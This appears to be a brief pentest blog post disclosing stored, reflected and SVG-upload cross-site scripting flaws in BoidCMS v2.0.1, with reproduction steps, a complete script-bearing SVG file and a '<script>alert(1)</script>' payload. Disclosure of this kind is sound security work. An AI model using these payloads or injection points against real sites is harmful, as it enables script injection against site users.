Friday Fun Pentest Series - 1 - boidcmsv2.0.1

BoidCMS v2.0.1

Description

- Stored XSS

- Reflected XSS

- XSS via SVG File Upload

XSS via SVG File Upload

Steps to Reproduce:

1. Login with admin user
2. Visit "Media" page
3. Upload xss.svg
4. Click "View" and XSS payload will execute

// xss.svg contents

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">

   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

   <script type="text/javascript">

      alert(`XSS`);

   </script>

</svg>

Reflected XSS

Steps to Reproduce:

1. Login as admin
2. Visit "Media" page
3. Click "Delete" and intercept the HTTP GET request
4. In "file" parameter add the payload "<script>alert(1)</script>"
5. After forwarding the HTTP GET request a browser popup would surface

Stored XSS

Steps to Reproduce:

1. Login as admin
2. Visit "Settings" page
3. Enter XSS payload in "Title", "Subtitle", "Footer"
4. Then visit the blog page

Conclusion

- Had lots of fun fuzzing the application

- Until next Friday!

- Cheers